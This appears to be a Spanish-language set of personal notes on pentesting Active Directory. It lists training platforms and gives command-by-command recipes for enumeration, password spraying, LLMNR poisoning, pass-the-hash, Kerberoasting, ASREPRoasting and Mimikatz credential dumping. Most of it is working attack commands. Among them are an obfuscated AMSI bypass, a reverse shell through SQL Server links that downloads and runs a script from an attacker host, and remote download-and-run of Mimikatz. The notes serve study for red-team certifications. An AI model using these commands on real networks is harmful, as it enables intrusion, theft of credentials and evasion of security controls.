# Inicio Apuntes sobre pentesting de Active Directory. # Recursos de aprendizaje ## Plataformas ### Hack The Box Academy * [Introduction to Active Directory](https://academy.hackthebox.com/course/preview/introduction-to-active-directory) * [Active Directory Enumeration & Attacks](https://academy.hackthebox.com/course/preview/active-directory-enumeration--attacks) * [Active Directory LDAP](https://academy.hackthebox.com/course/preview/active-directory-ldap) * [Active Directory PowerView](https://academy.hackthebox.com/course/preview/active-directory-powerview) * [Active Directory BloodHound](https://academy.hackthebox.com/course/preview/active-directory-bloodhound) ### TryHackMe * [Active Directory Basics](https://tryhackme.com/room/winadbasics) * [Breaching Active Directory](https://tryhackme.com/room/breachingad) * [Enumerating Active Directory](https://tryhackme.com/room/adenumeration) * [Lateral Movement and Pivoting](https://tryhackme.com/room/lateralmovementandpivoting) * [Exploiting Active Directory](https://tryhackme.com/room/exploitingad) * [Persisting Active Directory](https://tryhackme.com/room/persistingad) * [Credentials Harvesting](https://tryhackme.com/room/credharvesting) * [Throwback](https://tryhackme.com/network/throwback) * [Holo](https://tryhackme.com/room/hololive) ## Certificaciones * [CRTP - Certified Red Team Professional](https://www.pentesteracademy.com/activedirectorylab) * [CRTE - Certified Red Teaming Expert](https://www.pentesteracademy.com/redteamlab) * [PACES - PentesterAcademy Certified Enterprise Security Specialist](https://www.pentesteracademy.com/gcb) * [CRTO - Certified Red Team Operator](https://training.zeropointsecurity.co.uk/courses/red-team-ops) # Herramientas ## adidnsdump * ## ASREPRoast * ```powershell Import-Module .\ASREPRoast.ps1 ``` ## BloodHound * ### Ingestor/collector * BloodHound.py (Linux/Unix) * * SharpHound (Windows) * Ejecutable (.exe): * PowerShell: [SharpHound.ps1](https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1) ## CrackMapExec * ## DomainPasswordSpray * ```powershell Import-Module .\DomainPasswordSpray.ps1 ``` ## Evil-WinRM * ## Hashcat * ## HFS (HTTP File Server) * ## Inveigh * ```powershell Import-Module .\Inveigh.ps1 ``` ## Impacket * ## Kerbrute * ## LDAPDomainDump * ## ldapsearch * ## Mimikatz * ### Invoke-Mimikatz * ```powershell Import-Module .\Invoke-Mimikatz.ps1 ``` ## Módulo ActiveDirectory PowerShell Importar módulo. ```powershell Import-Module ActiveDirectory ``` Importar módulo desde DLL. * ```powershell Import-Module .\Microsoft.ActiveDirectory.Management.dll Import-Module .\ActiveDirectory\ActiveDirectory.psd1 ``` ## Powercat * ```powershell Import-Module .\powercat.ps1 ``` ## PowerUp * ```powershell Import-Module .\PowerUp.ps1 ``` ## PowerUpSQL * ```powershell Import-Module .\PowerUpSQL.ps1 ``` ## PowerView * ```powershell Import-Module .\PowerView.ps1 ``` ## Responder * ## Rubeus * ## SharpView * ## Snaffler * ## WADComs * [https://wadcoms.github.io](https://wadcoms.github.io/) ## windapsearch * # Bypass protecciones PowerShell scripts ## Ejecutar como administrador ```shell runas /netonly /user: cmd.exe runas /netonly /user: powershell.exe ``` ## Política de ejecución ```powershell powershell.exe -ExecutionPolicy Bypass ``` ## AMSI ```powershell S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) ``` # LLMNR/NBT-NS poisoning LLMNR, Link-Local Multicast Name Resolution / NBT-NS, NetBIOS Name Service ## Responder ```shell responder -I -A ``` * -I =interfaz de red. * \ = interfaz de red. * -A = modo de análisis, esta opción permite ver las solicitudes pero sin responder. ## Inveigh ### **PowerShell Inveigh** ```powershell Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y ``` ### C# Inveigh (InveighZero) ```shell .\Inveigh.exe ``` Presionar la tecla `ESC` para ingresar a la consola interactiva. ```shell # Visualizar opciones de consola interactiva HELP # Visualizar hashes NTLM capturados por usuario GET NTLMV1UNIQUE GET NTLMV2UNIQUE # Visualizar nombres de usuario y direcciones IPs/hostnames de origen # para hashes NTLM capturados GET NTLMV1USERNAMES GET NTLMV2USERNAMES ``` # Enumeración no autenticada # Enumeración de usuarios y grupos ## SMB NULL sessions ### CrackMapExec ```shell crackmapexec smb --users ``` ### enum4linux ```shell enum4linux -U | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]" > users-enum4linux.txt ``` ### rpcclient ```shell rpcclient -U "" -N # Consultar información del dominio querydominfo # Consultar información de visualización del dominio querydispinfo # Obtener información de política de contraseñas del dominio getdompwinfo # Enumerar usuarios enumdomusers # Enumerar grupos enumdomgroups # Obtener información de un usuario queryuser # Obtener información de un grupo querygroup # Obtener grupos de un usuario queryusergroups # Obtener miembros de un grupo querygroupmem ``` ## LDAP anonymous bind ### ldapsearch ```shell ldapsearch -h -x -b "DC=ACME,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" " > users-ldapsearch.txt ``` ### windapsearch ```shell windapsearch.py --dc-ip -u "" -U ``` ## Wordlists ### Kerbrute ```shell kerbrute userenum -d --dc -o users-kerbrute.txt ``` * userenum = enumeración de usuarios de dominio válidos a través de Kerberos. * -d = dominio. * \--dc = controlador de dominio. * \ = dirección IP del controlador de dominio. * \ = ruta de wordlist de nombres de usuarios de dominio. * -o = guarda resultado en archivo `users-kerbrute.txt`. # Enumeración de política de contraseñas ## SMB NULL sessions ### enum4linux ```shell enum4linux -P ``` ### rpcclient ```shell rpcclient -U "" -N getdompwinfo ``` ## LDAP anonymous bind ### ldapsearch ```shell ldapsearch -h -x -b "DC=ACME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength ``` # Password spraying ## Linux/Unix ### Kerbrute ```shell kerbrute passwordspray -d --dc

``` * passwordspray = prueba de una sola contraseña contra una lista de usuarios. * -d = dominio. * \--dc = controlador de dominio. * \ = dirección IP del controlador de dominio. * \ = ruta de archivo con listado de usuarios. * \ = contraseña. ### CrackMapExec #### Active Directory ```shell crackmapexec smb -u -p | grep + ``` * \ = dirección IP del controlador de dominio. * -u = usuarios. * \ = ruta de archivo con listado de usuarios. * -p = contraseña. * \ = contraseña. #### Administrador local ```shell crackmapexec smb --local-auth -u administrator -H | grep + ``` * \ = Classless Inter-Domain Routing. * \ = hash de contraseña del usuario `administrator`. ## Windows ### DomainPasswordSpray ```powershell Invoke-DomainPasswordSpray -Password -OutFile domain-password-spray.txt -ErrorAction SilentlyContinue ``` # Enumeración autenticada # BloodHound ## Linux/Unix ### Ingestor/collector BloodHound.py ```shell bloodhound-python -ns -d -u "" -p "" -c all ``` ### BloodHound ```shell sudo neo4j start bloodhound ``` ## Windows ### Ingestor/collector SharpHound #### Ejecutable (.exe) ```shell .\SharpHound.exe -c All --zipfilename sharphound ``` #### PowerShell ```powershell Import-Module .\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All ``` ## Consultas de análisis * Find Computers where Domain Users are Local Admin * Find Workstations where Domain Users can RDP * Find Servers where Domain Users can RDP * List all Kerberoastable Accounts * Find Computers with Unsupported Operating Systems ### CanPSRemote (PowerShell Remoting) ``` MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2 ``` ### SQLAdmin (SQLAdmin) ``` MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2 ``` # Domain Name System (DNS) ## adidnsdump ```shell adidnsdump -u \\ -p "" ldap:// -r cat records.csv ``` # Enumeración de dominios ## Windows ### .NET Classes ```powershell $ADClass = [System.DirectoryServices.ActiveDirectory.Domain] $ADClass::GetCurrentDomain() ``` ### PowerView Obtener información de dominio actual. ```powershell Get-Domain ``` Obtención de SID de dominio actual. ```powershell Get-DomainSID ``` Obtener información de un dominio específico. ```powershell Get-Domain -Domain ``` Obtener controladores de dominio para el dominio actual. ```powershell Get-DomainController ``` ### Módulo ActiveDirectory PowerShell Obtener información de dominio actual. ```powershell Get-ADDomain ``` Obtención de SID de dominio actual. ```powershell (Get-ADDomain).DomainSID ``` Obtener información de un dominio específico. ```powershell Get-ADDomain -Identity ``` Obtener controladores de dominio para el dominio actual. ```powershell Get-ADDomainController ``` # Enumeración de usuarios, grupos y computadoras ## Linux/Unix ### CrackMapExec Enumeración de usuarios. ```shell crackmapexec smb -u -p --users ``` Enumeración de grupos. ```shell crackmapexec smb -u -p --groups ``` Enumeración de usuarios conectados. ```shell crackmapexec smb -u -p --loggedon-users ``` ### LDAPDomainDump ```shell mkdir ldapdomaindump ldapdomaindump -u "/" -p "" --no-json --no-grep -o ldapdomaindump ``` ### rpcclient ```shell rpcclient -U %

# Consultar información del dominio querydominfo # Consultar información de visualización del dominio querydispinfo # Obtener información de política de contraseñas del dominio getdompwinfo # Enumerar usuarios enumdomusers # Enumerar grupos enumdomgroups # Obtener información de un usuario queryuser # Obtener información de un grupo querygroup # Obtener grupos de un usuario queryusergroups # Obtener miembros de un grupo querygroupmem ``` ### windapsearch Enumerar miembros del grupo "domain admins". ```shell windapsearch.py --dc-ip -u @ -p --da ``` Buscar usuarios privilegiados. ```shell windapsearch.py --dc-ip -u @ -p --PU ``` ## Windows ### Comandos nativos Enumeración de usuarios. ```powershell # Enumeración de usuarios net user /domain dsquery user # Obtener información de un usuario net user "" /domain ``` Enumeración de grupos. ```powershell # Enumeración de grupos net group /domain dsquery group # Obtener miembros de un grupo net group "" /domain net group "Domain Admins" /domain ``` ### Módulo ActiveDirectory PowerShell Enumeración de usuarios. ```powershell # Enumeración de usuarios del dominio actual Get-ADUser -Filter * Get-ADUser -Filter * | Select SamAccountName, Name Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > users.txt # Obtener usuarios de un dominio Get-DomainUser -Domain | Select SamAccountName # Obtener información de un usuario Get-ADUser -Identity "" # Obtener fecha y hora en que se cambió por última vez la contraseña de cada usuario Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}} # Obtener cuentas con Service Principal Name (SPN) Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName ``` Enumeración de grupos. ```powershell # Enumeración de grupos Get-ADGroup -Filter * Get-ADGroup -Filter * | Select Name # Obtener todos los grupos que contengan la palabra "admin" en el nombre del grupo Get-ADGroup -Filter 'Name -like "*admin*"' | Select Name # Obtener información de un grupo Get-ADGroup -Identity "" # Obtener miembros de un grupo Get-ADGroupMember -Identity "" Get-ADGroupMember -Identity "Domain Admins" ``` Enumeración de computadoras. ```powershell # Enumeración de computadoras Get-ADComputer -Filter * | Select Name Get-ADComputer -Filter * -Properties * # Filtro de computadoras por sistema operativo Get-ADComputer -Filter 'OperatingSystem -like "**"' -Properties OperatingSystem | Select Name, OperatingSystem # Obtención de computadoras activos Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName} ``` ### PowerView Enumeración de usuarios. ```powershell # Enumeración de usuarios Get-DomainUser Get-DomainUser | Select SamAccountName, LastLogonTimestamp | Sort-Object SamAccountName Get-DomainUser | Select -ExpandProperty SamAccountName | Out-File -FilePath .\domain-users.txt # Obtener información de un usuario Get-DomainUser -Identity "" Get-DomainUser -Identity "" | Select SamAccountName, ObjectsId, MemberOf, UserAccountControl | fl # Obtener fecha y hora en que se cambió por última vez la contraseña de cada usuario Get-DomainUser | Select SamAccountName, PWDLastSet | Sort-Object PWDLastSet # Obtener cantidad de veces que el usuario intentó iniciar sesión con una contraseña incorrecta Get-DomainUser | Select SamAccountName, BadPWDCount | Sort-Object BadPWDCount -Descending # Obtener el número de veces que cada cuenta ha iniciado sesión correctamente Get-DomainUser | Select SamAccountName, LogonCount | Sort-Object LogonCount -Descending # Obtener cuentas con Service Principal Name (SPN) Get-DomainUser -SPN -Properties SamAccountName, ServicePrincipalName ``` Enumeración de grupos. ```powershell # Enumeración de grupos Get-DomainGroup Get-DomainGroup | Select SamAccountName | Sort-Object SamAccountName # Obtener todos los grupos que contengan la palabra "admin" en el nombre del grupo Get-DomainGroup "*admin*" # Obtener información de un grupo Get-DomainGroup -Identity "" # Obtener miembros de un grupo Get-DomainGroupMember -Identity "" Get-DomainGroupMember -Identity "Domain Admins" Get-DomainGroupMember -Identity "Enterprise Admins" -Domain # Obtener miembros de un grupo recursivamente Get-DomainGroupMember -Identity "" -Recurse ``` Enumeración de computadoras. ```powershell # Enumeración de computadoras Get-DomainComputer Get-DomainComputer | Select Name, DNSHostName, OperatingSystem | Sort-Object Name # Filtro de computadoras por sistema operativo Get-DomainComputer -OperatingSystem "**" | Select Name, OperatingSystem | Sort-Object Name # Obtención de computadoras activos Get-DomainComputer -Ping | Select Name, DNSHostName | Sort-Object Name ``` ### SharpView Enumeración de usuarios. ```powershell # Enumeración de usuarios .\SharpView.exe Get-DomainUser * # Obtener información de un usuario .\SharpView.exe Get-DomainUser -Identity "" # Obtener cuentas con Service Principal Name (SPN) .\SharpView.exe Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName ``` Enumeración de grupos. ```powershell # Enumeración de grupos .\SharpView.exe Get-DomainGroup * # Obtener información de un grupo .\SharpView.exe Get-DomainGroup -Identity "" # Obtener miembros de un grupo .\SharpView.exe Get-DomainGroupMember -Identity "" .\SharpView.exe Get-DomainGroupMember -Identity "Domain Admins" # Obtener miembros de un grupo recursivamente .\SharpView.exe Get-DomainGroupMember -Identity "" -Recurse ``` # Enumeración de recursos compartidos ## Linux/Unix ### CrackMapExec ```shell crackmapexec smb -u -p --shares crackmapexec smb -u -p -M spider_plus --share "" ``` ### SMBMap ```shell smbmap -H -d -u -p smbmap -H -d -u -p -R --dir-only smbmap -H -d -u -p -R "" ``` ## Windows ### PowerView Recursos compartidos en hosts en el dominio actual. ```powershell Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC ``` Archivos compartidos en hosts en el dominio actual. ```powershell Invoke-FileFinder –Verbose ``` Obtener servidores de archivos en el dominio actual. ```powershell Get-NetFileServer ``` ### Snaffler ```shell .\Snaffler.exe -s -d -o snaffler.log -v data ``` # Enumeración de política de contraseñas ## Linux/Unix ### CrackMapExec ```shell crackmapexec smb -u -p --pass ``` ## Windows ### Símbolo del sistema (cmd) ```shell net accounts ``` ### Módulo ActiveDirectory PowerShell ```powershell (Get-DomainPolicy)."system access" ``` ### PowerView ```powershell Get-DomainPolicy ``` # Enumeración de Group Policy Object (GPO) ## Windows ### PowerView Enumeración de GPO. ```powershell Get-DomainGPO Get-DomainGPO | Select DisplayName | Sort-Object DisplayName ``` Enumeración de permisos sobre GPO para usuarios del dominio. ```powershell $sid = Convert-NameToSid "Domain Users" Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid} ``` Enumeración de GPO por computador. ```powershell Get-DomainGPO -ComputerName ``` Enumeración de unidades organizativas (OU). ```powershell Get-DomainOU Get-DomainOU | Select Name | Sort-Object Name ``` Obtener GPO aplicada a una unidad organizativa (UO). El valor del parámetro `GPOname` se puede obtener desde el valor `gplink` al ejecutar el comando `Get-DomainOU`. ```powershell Get-NetGPO -GPOname "{}" ``` ### Group Policy Management Tools Enumeración de GPO. ```powershell Get-GPO -All | Select DisplayName ``` # Enumeración de Access Control List (ACL) ## Windows ### PowerView Enumeración de ACL. ```powershell Get-DomainObjectACL ``` Enumeración de ACL por objeto. ```powershell Get-DomainObjectACL -SamAccountName –ResolveGUIDs ``` ```powershell $sid = Convert-NameToSid Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} ``` Enumeración de ACL por grupo. ```powershell $sid = Convert-NameToSid "" Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} ``` Obtención de ACL interesantes. ```powershell Find-InterestingDomainACL -ResolveGUIDs ``` ## BloodHound * Node Info -> Outbound Control Rights * First Degree Object Control * Group Delegated Object Control * Transitive Object Control # Enumeración de relaciones de confianza de dominio ## Windows ### Módulo ActiveDirectory PowerShell Relaciones de confianza de dominio. ```powershell Get-ADTrust -Filter * ``` Enumeración de bosque (forest). ```powershell # Obtener detalles sobre el bosque actual Get-ADForest # Obtener todos los dominios en el bosque actual (Get-ADForest).Domains # Obtenger todos los catálogos globales para el bosque actual Get-ADForest | Select -ExpandProperty GlobalCatalogs ``` ### PowerView Relaciones de confianza de dominio. ```powershell Get-DomainTrust Get-DomainTrust | Select SourceName, TargetName, TrustType, TrustAttributes, TrustDirection | ft Get-DomainTrustMapping ``` Enumeración de bosque (forest). ```powershell # Obtener detalles sobre el bosque actual Get-Forest # Obtener todos los dominios en el bosque actual Get-ForestDomain # Obtenger todos los catálogos globales para el bosque actual Get-ForestGlobalCatalog ``` # User hunting ## Windows ### PowerView Encontrar hosts donde un administrador de dominio está conectado. ```powershell Invoke-UserHunter ``` Encontrar todos los hosts en el dominio actual donde el usuario actual tiene acceso de administrador local. ```powershell # Opción 1 Invoke-UserHunter -CheckAccess # Opción 2 Find-LocalAdminAccess –Verbose ``` Encontrar administradores locales en todos los hosts del dominio actual. ```powershell Find-DomainLocalGroupMember -Verbose ``` Encontrar hosts donde un administrador de dominio (o usuario/grupo especificado) tiene sesiones. ```powershell Find-DomainUserLocation Find-DomainUserLocation -UserIdentity "" Find-DomainUserLocation -GroupName "" ``` Encontrar hosts en los que haya iniciado sesión un administrador de dominio. ```powershell Find-DomainUserLocation -Stealth ``` ### Find-WMILocalAdminAccess Encontrar todas los hosts en el dominio actual donde el usuario actual tiene acceso de administrador local. ```powershell # PowerView Get-DomainComputer | Select -ExpandProperty DNSHostName | Sort-Object DNSHostName | Out-File -FilePath .\domain-computers.txt # Find-WMILocalAdminAccess Import-Module .\Find-WMILocalAdminAccess.ps1 Find-WMILocalAdminAccess -ComputerFile .\domain-computers.txt ``` ### Find-PSRemotingLocalAdminAccess Encontrar todas los hosts en el dominio actual donde el usuario actual tiene acceso de administrador local. ```powershell # PowerView Get-DomainComputer | Select -ExpandProperty DNSHostName | Sort-Object DNSHostName | Out-File -FilePath .\domain-computers.txt # PSRemotingLocalAdminAccess Import-Module .\Find-PSRemotingLocalAdminAccess.ps1 Find-PSRemotingLocalAdminAccess -ComputerFile .\domain-computers.txt ``` # Microsoft SQL Server (MSSQL) ## Linux/Unix ### Impacket ```shell # impacket-mssqlclient mssqlclient.py /:""@ -windows-auth enable_xp_cmdshell xp_cmdshell whoami ``` ## Windows ### PowerUpSQL Descubrir instancias de SQL Server. ```powershell Get-SQLInstanceDomain ``` Obtener información de instancias de SQL Server. ```powershell Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose ``` Comprobar acceso a instancias de SQL Server dado un usuario y contraseña. ```powershell $SQLInstances = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -Username "\" -Password "" | Where-Object {$_.Status -like "Accessible"} $SQLInstances ``` Comprobar acceso a instancias de SQL Server utilizando la cuenta de usuario actual. ```powershell $SQLInstances = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"} $SQLInstances ``` Ejecución de consultas SQL. ```powershell Get-SQLQuery -Verbose -Instance "," -Query "SELECT @@version" Get-SQLQuery -Verbose -Instance "," -Username "\" -Password "" -Query "SELECT @@version" ``` Obtener links de bases de datos. ```powershell Get-SQLServerLink -Instance "" -Verbose ``` Rastrear links de bases de datos. ```powershell Get-SQLServerLinkCrawl -Instance "" -Verbose ``` Ejecución de comandos utilizando links de bases de datos. ```powershell Get-SQLServerLinkCrawl -Instance "" -Query "exec master..xp_cmdshell 'hostname & whoami'" ``` Reverse shell utilizando links de bases de datos. ```powershell # Powercat powercat -l -v -p # PowerUpSQL Get-SQLServerLinkCrawl -Instance "" -Query "exec master..xp_cmdshell 'powershell.exe IEX (iwr http://:80/Invoke-PowerShellTcp.ps1 -UseBasicParsing); Invoke-PowerShellTcp -Reverse -IPAddress -Port '" ``` # PowerShell remoting Utilizando credenciales de sesión actual. ```powershell # PowerView # encontrar todas los hosts en el dominio actual donde el usuario actual tiene acceso de administrador local Find-LocalAdminAccess # Stateless (sin estado) Enter-PSSession -ComputerName # Stateful (con estado) $session = New-PSSession -ComputerName Enter-PSSession -Session $session ``` Utilizando credenciales de un usuario en particular. ```powershell $UserPassword = ConvertTo-SecureString "" -AsPlainText -Force $UserCredential = New-Object System.Management.Automation.PSCredential ("\", $UserPassword) Enter-PSSession -ComputerName -Credential $UserCredential ``` Ejecución de comandos. ```powershell Invoke-Command -ComputerName -ScriptBlock {hostname; whoami; ipconfig} ``` Ejecución de script. ```powershell # Opción 1 IEX (iwr http://:/script.ps1 -UseBasicParsing) $session = New-PSSession -ComputerName Invoke-Command -Session $session -ScriptBlock ${function:} # Opción 2 $session = New-PSSession -ComputerName Invoke-Command -FilePath C:\\script.ps1 -Session $session Enter-PSSession -Session $session # Opción 3 Import-Module C:\\script.ps1 Invoke-Command -ComputerName -ScriptBlock ${function:} ``` # Remote Desktop Protocol (RDP) ## rdesktop ```shell rdesktop -u -p ``` * \ = dirección IP del objetivo. * \ = nombre de usuario. * \ = contraseña de usuario. ## FreeRDP ```shell xfreerdp /v: /u: /p:'' /dynamic-resolution +clipboard /drive:.,share ``` * \ = dirección IP del objetivo. * \ = nombre de usuario. * \ = contraseña de usuario. * /drive:.,share = habilita unidad compartida de red. El `.` indica compartir el directorio actual (máquina atacante) y `share` nombre de la unidad compartida en máquina victima. ## Remmina * # Server Message Block (SMB) ## Impacket ```shell # impacket-psexec psexec.py /:""@ psexec.py /@ -hashes # impacket-wmiexec wmiexec.py /:""@ wmiexec.py /@ -hashes ``` * \ = usuario. * \ = contraseña. * \ = dirección IP del objetivo. * \ = `LMHASH:NTHASH` # Windows Remote Management (WinRM) ## Evil-WinRM ```shell evil-winrm -i -u "\" -p evil-winrm -i -u "\" -H evil-winrm -i -u "\" -p -s ``` * \ = dirección IP del objetivo. * \ = nombre de usuario. * \ = contraseña de usuario. * \ = hash de la contraseña del usuario. * -s = ruta local (máquina atacante) de scripts de PowerShell. # Pass the Hash (PtH) ## Invoke-Mimikatz ```powershell Invoke-Mimikatz -Command '"sekurlsa::pth /user: /domain: /ntlm: /run:powershell.exe"' ``` # Pass the Ticket (PtT) ## Invoke-Mimikatz ```powershell Invoke-Mimikatz -Command '"kerberos::ptt "' Invoke-Command -ComputerName -ScriptBlock {hostname; whoami; ipconfig} ``` ## Rubeus ``` .\Rubeus.exe ptt /ticket: ``` # Configuraciones incorrectas ## Información confidencial ### Campo descripción de los usuarios ```powershell # PowerView Get-DomainUser * | Select-Object SamAccountName, Description | Where-Object {$_.Description -ne $null} Find-UserField -SearchField Description -SearchTerm "" ``` ### Recursos compartidos y scripts en SYSVOL ```shell smbmap -H -d -u -p smbmap -H -d -u -p -R "SYSVOL" ``` ## Group Policy Preferences (GPP) ### CrackMapExec ```shell crackmapexec smb -u -p -M gpp_password crackmapexec smb -u -p -M gpp_autologin ``` ### PowerSploit ```powershell # Get-GPPPassword.ps1 Import-Module .\Get-GPPPassword.ps1 Get-GPPPassword Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq # Get-GPPAutologon.ps1 Import-Module .\Get-GPPAutologon.ps1 Get-GPPAutologon Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq ``` ## PASSWD\_NOTREQD El usuario no está sujeto a la política de contraseñas, lo que significa que podría tener una contraseña más corta o ninguna contraseña (si se permiten contraseñas vacías en el dominio). ```powershell # PowerView Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object SamAccountName, UserAccountControl ``` # Credential dumping ## Invoke-Mimikatz Uso general. ```powershell Invoke-Mimikatz ``` Utilizando PowerShell remoting. ```powershell IEX (iwr http://:/Invoke-Mimikatz.ps1 -UseBasicParsing) $session = New-PSSession -ComputerName Invoke-Command -Session $session -ScriptBlock ${function:Invoke-Mimikatz} ``` PowerShell Constrained Language Mode (CLM). ```powershell # Obtener modo de lenguaje de PowerShell $ExecutionContext.SessionState.LanguageMode # Transferencia de Invoke-MimikatzAutoExec.ps1 Invoke-WebRequest -Uri "http://:/Invoke-MimikatzAutoExec.ps1" -OutFile "C:\\Invoke-MimikatzAutoExec.ps1" # Ejecución de Invoke-MimikatzAutoExec.ps1 .\Invoke-MimikatzAutoExec.ps1 ``` # Usuarios y grupos ## Autenticación de usuario contra el dominio ```powershell $UserPassword = ConvertTo-SecureString "" -AsPlainText -Force $UserCredential = New-Object System.Management.Automation.PSCredential("/", $UserPassword) ``` ## Cambio de contraseña de usuario de dominio Autenticación de usuario contra el dominio. ```powershell $UserPassword = ConvertTo-SecureString "" -AsPlainText -Force $UserCredential = New-Object System.Management.Automation.PSCredential("/", $UserPassword) ``` Importación de módulo PowerView. ```powershell Import-Module .\PowerView.ps1 ``` Cambio de contraseña de usuario de dominio. ```powershell $NewUserPassword = ConvertTo-SecureString "" -AsPlainText -Force Set-DomainUserPassword -Identity "" -AccountPassword $NewUserPassword -Credential $UserCredential -Verbose ``` ## Agregar y eliminar usuario a grupo de dominio Autenticación de usuario contra el dominio. ```powershell $UserPassword = ConvertTo-SecureString "" -AsPlainText -Force $UserCredential = New-Object System.Management.Automation.PSCredential("/", $UserPassword) ``` Importación de módulo PowerView. ```powershell Import-Module .\PowerView.ps1 ``` Agrega usuario a grupo de dominio. ```powershell Add-DomainGroupMember -Identity "" -Members "" -Credential $UserCredential -Verbose ``` Eliminar usuario de un grupo de dominio. ```powershell Remove-DomainGroupMember -Identity "" -Members "" -Credential $UserCredential -Verbose ``` Confirmación de eliminación de usuario de un grupo de dominio. ```powershell Get-DomainGroupMember -Identity "" | Select MemberName |? {$_.MemberName -eq ""} -Verbose ``` ## Creación de Service Principal Names (SPN) falso Autenticación de usuario contra el dominio. ```powershell $UserPassword = ConvertTo-SecureString "" -AsPlainText -Force $UserCredential = New-Object System.Management.Automation.PSCredential("/", $UserPassword) ``` Creación de Service Principal Names (SPN) falso. ```powershell Set-DomainObject -Credential $UserCredential -Identity "" -SET @{serviceprincipalname='SPN/fake'} -Verbose ``` Obtener Ticket Granting Service (TGS). ```shell .\Rubeus.exe kerberoast /user: /nowrap ``` Cracking de Ticket Granting Service (TGS). ```shell # RC4 / $krb5tgs$23$ hashcat -m 13100 tgs.txt # AES-128 / $krb5tgs$17$ hashcat -m 19600 tgs.txt # AES-256 / $krb5tgs$18$ hashcat -m 19700 tgs.txt ``` Eliminación de Service Principal Names (SPN) falso. ```powershell Set-DomainObject -Credential $UserCredential -Identity "" -Clear serviceprincipalname -Verbose ``` # ASREPRoast ## Descripción Es posible obtener el Ticket Granting Ticket (TGT) para cualquier cuenta que tenga habilitada la configuración "Do not require Kerberos pre-authentication" (`DONT_REQ_PREAUTH`). ## Linux/Unix Enumeración de usuarios con `DONT_REQ_PREAUTH` habilitado. ### Kerbrute ```shell kerbrute userenum -d --dc ``` * \ = ruta de wordlist de nombres de usuarios de dominio. ### Impacket ```shell GetNPUsers.py / -dc-ip -no-pass -usersfile valid-ad-users.txt ``` ### Hashcat Cracking de AS-REP. ```shell hashcat -m 18200 as-rep.txt ``` ### John the Ripper Cracking de AS-REP. ```shell john as-rep.txt --format:krb5asrep --wordlist= ``` ## Windows Enumeración de usuarios con `DONT_REQ_PREAUTH` habilitado. ```powershell # PowerView Get-DomainUser -PreauthNotRequired | select SamAccountName, UserPrincipalName, UserAccountControl | fl # Módulo ActiveDirectory PowerShell Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth ``` Obtención de AS-REP de usuario. ```shell # Rubeus .\Rubeus.exe asreproast /user: /nowrap /format:hashcat # ASREPRoast.ps1 Get-ASREPHash -UserName -Verbose ``` Obtención de AS-REP de todos los usuarios. ```powershell # ASREPRoast.ps1 Invoke-ASREPRoast -Verbose ``` Habilitar configuración "Do not require Kerberos pre-authentication" (`DONT_REQ_PREAUTH`) para un usuario. ```powershell # PowerView Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} –Verbose ``` # Kerberoast ## Descripción Este ataque tiene como objetivo las cuentas Service Principal Names (SPN). Los SPN son identificadores únicos que utiliza Kerberos para asignar una instancia de servicio a una cuenta de servicio en cuyo contexto se ejecuta el servicio. Cualquier usuario de dominio puede solicitar un ticket de Kerberos para cualquier cuenta de servicio en el dominio. También es posible entre bosque (forest) si se permite la autenticación a través de las relaciones de confianza. Para realizar un ataque de Kerberoast se necesita la contraseña de una cuenta de usuario de dominio (o hash NTLM), una shell en el contexto de una cuenta de usuario de dominio o acceso con privilegios de NT AUTHORITY\SYSTEM a un host unido al dominio. La obtención de un Ticket Granting Service (TGS) para una cuenta con un SPN no permite ejecutar comandos en el contexto de esta cuenta. Sin embargo, el ticket está encriptado con el hash NTLM de la cuenta de servicio, por lo que la contraseña sin cifrar se puede obtenerse potencialmente sometiéndola a un ataque de fuerza bruta (offline) con una herramienta como Hashcat. Las cuentas de dominio que ejecutan servicios suelen ser administradores locales o cuentas de dominio con altos privilegios. ## Linux/Unix ### Impacket Obtener cuentas Service Principal Names (SPN). ```shell GetUserSPNs.py -dc-ip / ``` 